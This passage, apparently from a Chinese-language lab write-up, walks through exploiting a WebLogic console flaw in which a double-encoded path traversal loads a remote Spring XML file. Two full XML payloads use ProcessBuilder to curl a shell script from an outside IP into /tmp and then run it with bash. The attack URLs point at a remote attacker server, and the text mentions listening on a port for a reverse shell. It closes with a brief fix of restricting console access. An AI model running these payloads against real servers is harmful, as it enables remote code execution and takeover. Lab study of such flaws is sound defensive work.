1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"  encoding="UTF-8"  ?> <beans  xmlns ="http://www.springframework.org/schema/beans"     xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"     xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean  id ="pb"  class ="java.lang.ProcessBuilder"  init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[curl 139.155.49.43:8000/shell.sh -o /tmp/shell.sh]]></value > </list > </constructor-arg > </bean > </beans > 
runshell.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?xml version="1.0"  encoding="UTF-8"  ?> <beans  xmlns ="http://www.springframework.org/schema/beans"     xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"     xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean  id ="pb"  class ="java.lang.ProcessBuilder"  init-method ="start" > <constructor-arg > <list > <value > bash</value > <value > -c</value > <value > <![CDATA[bash /tmp/shell.sh]]></value > </list > </constructor-arg > </bean > </beans > 
其实就是很简单的几个文件
记得这几个文件都要放到http.server文件下面才行
因为需要解析
我直接先监听一个端口
然后攻击
http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel= http://8.130.123.25:8000/download.xml “)
 
为了分辨我将这个换成了shell2.sh
然后执行,就是runshell.sh
http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel= http://8.130.123.25:8000/runshell.xml “)
 
方法三就是使用利群工具箱
漏洞修复 其实我们可以知道这一切都是由于未授权访问造成的后果
所以只要对
  关闭后台/console/console.portal对外访问  
 
进行授权就可以了